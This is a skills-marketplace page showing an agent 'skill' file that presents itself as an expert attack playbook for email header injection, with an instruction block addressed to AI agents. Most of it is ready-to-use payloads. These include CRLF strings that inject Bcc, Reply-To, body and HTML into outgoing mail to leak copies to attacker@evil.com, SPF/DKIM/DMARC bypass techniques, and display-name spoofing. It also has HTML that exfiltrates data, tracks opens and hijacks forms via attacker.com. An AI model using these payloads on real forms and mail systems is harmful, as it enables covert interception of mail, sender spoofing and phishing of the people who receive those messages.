
email-header-injection
Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.
- Installs
- 3.6K
- Last 24h
- +16
- Trending rank
- #6906
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill email-header-injection- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads email-header-injection automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Email Header Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
0. RELATED ROUTING
- crlf-injection — general CRLF injection; email headers are a specific high-value sink
- ssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)
- open-redirect — redirect in password-reset emails as phishing amplification
1. SMTP HEADER INJECTION FUNDAMENTALS
SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.
Injection anatomy
Normal header construction:
To: user@example.com\r\n
Subject: Contact Form\r\n
From: noreply@target.com\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
Result:
Subject: Hello\r\n
Bcc: attacker@evil.com\r\n
Encoding variants to try
| Encoding | Payload |
|---|---|
| URL-encoded | %0d%0a |
| Double URL-encoded | %250d%250a |
| Unicode | \u000d\u000a |
| Raw CRLF | \r\n (in raw request) |
| LF only | %0a (some SMTP servers accept LF without CR) |
| Null byte + CRLF | %00%0d%0a |
2. ATTACK SCENARIOS
2.1 BCC Injection — Silent Email Exfiltration
Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com
Effect: attacker receives a copy of every email sent through this form
2.2 CC Injection with Header Stacking
Payload in "From name" field:
John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
Result headers:
From: John
Cc: attacker@evil.com
Bcc: spy@evil.com
... (original headers continue)
2.3 Body Injection — Full Email Content Control
A blank line (\r\n\r\n) separates headers from body in SMTP:
Payload in Subject:
Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
Result:
Subject: Urgent
Please click: https://evil.com/phish
.
(Blank line terminates headers, everything after is body)
2.4 Reply-To Manipulation for Phishing
Payload in From name:
IT Support%0d%0aReply-To:attacker@evil.com
Victim sees "IT Support" as sender
Replies go to attacker@evil.com
2.5 Content-Type Injection for HTML Phishing
Payload:
test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
Overrides Content-Type → renders HTML in email client
3. COMMON VULNERABLE PATTERNS
PHP mail()
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";
// ALL parameters are injectable:
mail($to, $subject, $message, $headers);
// $to injection: victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.com
Python smtplib
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized
Node.js nodemailer
let mailOptions = {
from: req.body.from, // injectable
to: 'admin@target.com',
subject: req.body.subject, // injectable
text: req.body.message
};
transporter.sendMail(mailOptions);
4. SPF / DKIM / DMARC BYPASS TECHNIQUES
4.1 SPF (Sender Policy Framework) Bypass
SPF validates the MAIL FROM envelope sender IP against DNS TXT records.
| Technique | How |
|---|---|
| Subdomain delegation | Target has include:_spf.google.com; attacker uses Google Workspace to send as anything@mail.target.com |
| Include chain abuse | v=spf1 include:third-party.com — if third-party allows broad sending |
| DNS lookup limit (10) | SPF allows max 10 DNS lookups; chains exceeding this → permerror → some receivers accept |
+all misconfiguration | v=spf1 +all allows any IP (rare but exists) |
?all or ~all | Softfail/neutral → most receivers still deliver to inbox |
| No SPF record | Domain without SPF → anyone can send as that domain |
# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...
# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed
4.2 DKIM (DomainKeys Identified Mail) Bypass
DKIM signs specific headers with a domain key. Bypass vectors:
| Technique | How |
|---|---|
d= vs From: mismatch | DKIM signs with d=subdomain.target.com but From: ceo@target.com — valid DKIM, spoofed From |
l= tag abuse | l= limits body length signed; attacker appends content after signed portion |
| Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers |
Missing h=from | If from header not in signed headers list (h=), From can be modified |
| Key rotation window | During DKIM key rotation, old selector may still validate |
# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim
4.3 DMARC (Domain-based Message Authentication) Bypass
DMARC requires SPF or DKIM to align with the From: header domain.
| Technique | How |
|---|---|
Relaxed alignment (aspf=r) | SPF passes for sub.target.com, DMARC accepts for target.com |
| Organizational domain | mail.target.com aligns with target.com in relaxed mode |
| No DMARC record | Domain without DMARC → no policy enforcement |
p=none | DMARC exists but policy is none → no enforcement, just reporting |
Subdomain policy (sp=none) | Main domain p=reject but sp=none → subdomains spoofable |
# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject
4.4 Display Name Spoofing (Works Everywhere)
Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>
Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.
5. MAIL CLIENT RENDERING ATTACKS
CSS-based data exfiltration
<!-- In HTML email body -->
<style>
#secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
#secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">
Remote image tracking
<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->
Form action hijacking
<!-- Some email clients render forms -->
<form action="https://attacker.com/phish" method="POST">
<input name="password" type="password" placeholder="Confirm your password">
<button type="submit">Verify</button>
</form>
6. CONTACT FORM / EMAIL API INJECTION
# REST API
POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
# GraphQL
mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }
7. TESTING METHODOLOGY
1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)
8. DECISION TREE
Found email-sending feature?
│
├── User input goes into email headers?
│ ├── YES → Test CRLF injection
│ │ ├── %0d%0a in Subject/From/To field
│ │ │ ├── Extra header appears → CONFIRMED
│ │ │ │ ├── Inject Bcc: → silent exfiltration
│ │ │ │ ├── Inject body (blank line) → content control
│ │ │ │ └── Inject Reply-To: → redirect replies
│ │ │ │
│ │ │ └── Filtered? → Try encoding variants
│ │ │ ├── %250d%250a (double encode)
│ │ │ ├── %0a only (LF without CR)
│ │ │ └── Unicode \u000d\u000a
│ │ │
│ │ └── All encodings blocked → check SPF/DKIM/DMARC
│ │
│ └── NO (user input only in body) → limited impact
│ └── Check for HTML injection in email body
│ └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│ ├── Check SPF: dig TXT target.com
│ │ ├── No SPF / +all / ~all → direct spoofing possible
│ │ └── -all → SPF blocks; check DKIM/DMARC
│ │
│ ├── Check DMARC: dig TXT _dmarc.target.com
│ │ ├── No DMARC / p=none → spoofing delivered
│ │ ├── p=quarantine → lands in spam but delivered
│ │ └── p=reject → blocked; try subdomain (sp= policy)
│ │
│ └── All strict → Display name spoofing only
│ └── "admin@target.com" <attacker@evil.com>
│
└── Testing password reset email?
├── Check for token in URL → open redirect chain?
│ └── See ../open-redirect/SKILL.md
└── Check for host header injection → password reset poisoning
└── See ../http-host-header-attacks/SKILL.md
9. QUICK REFERENCE — KEY PAYLOADS
# BCC injection via Subject
Subject: Hello%0d%0aBcc:attacker@evil.com
# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com
# Reply-To hijack
From: Support%0d%0aReply-To:attacker@evil.com
# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
# Display name spoof (no injection needed)
From: "security@target.com" <attacker@evil.com>
FAQ
What does the email-header-injection skill do?
Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.
How do I install email-header-injection?
Run npx skills add https://github.com/yaklang/hack-skills --skill email-header-injection in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/email-header-injection/ (personal) or .claude/skills/email-header-injection/ (project).
Which AI agents can use email-header-injection?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is email-header-injection safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains email-header-injection?
It is published by yaklang in yaklang/hack-skills. It has 3,574 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular security skills
azure-compliance
microsoft/azure-skills
Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.
minimal-run-and-audit
lllllllama/rigorpilot-skills
Rigor Run skill for README-first deep learning repo reproduction. Use when the task is specifically to capture or normalize evidence from the selected smoke test or documented inference or evaluation command and write standardized reprooutputs/ files, including patch notes when repository files changed. Do not use for training execution, initial repo intake, generic environment setup, paper lookup, target selection, hidden scientific-meaning changes, or end-to-end orchestration by itself.
seo-audit
coreyhaines31/marketingskills
When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," "SEO health check," "my traffic dropped," "lost rankings," "not showing up in Google," "site isn't ranking," "Google update hit me," "page speed," "core web vitals," "crawl errors," "indexing issues," "stuck on page 2," "striking distance keywords," "title tag rewrite," "low CTR," "local SEO," "Google Business Profile," or "map pack." Use this even if the user just says something vague like "my SEO is bad" or "help with SEO" — start with an audit. For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema. For AI search optimization, see ai-seo.
firebase-security-rules-auditor
firebase/agent-skills
Audits Firebase (Firestore, Cloud Storage) security rules for vulnerabilities, privilege escalation, role bypasses, create vs update inconsistencies, resource exhaustion, type safety, size limits, and hasOnly ownership checks. Use when auditing/reviewing rules, running red-team rule assessments, or scoring against auditor checklists. Don't use for Firebase CLI (login, deploy), Auth, Crashlytics, Remote Config, or database queries.
audit
pbakaus/impeccable
Run technical quality checks across accessibility, performance, theming, responsive design, and anti-patterns. Generates a scored report with P0-P3 severity ratings and actionable plan. Use when the user wants an accessibility check, performance audit, or technical quality review.
competitors
coreyhaines31/marketingskills
When the user wants to create competitor comparison or alternative pages for SEO and buyer-facing use. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' 'competitive landing pages,' 'how do we compare to X,' 'competitor teardown,' 'audit our competitor pages,' 'are our comparison pages out of date,' or 'competitive asset audit.' Use this for any content that positions your product against competitors. Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. For auditing existing claims (not researching competitors from scratch, which is competitor-profiling; not technical SEO on these pages, which is seo-audit), use the asset audit here. For internal battle cards and sales-specific competitor docs, see sales-enablement.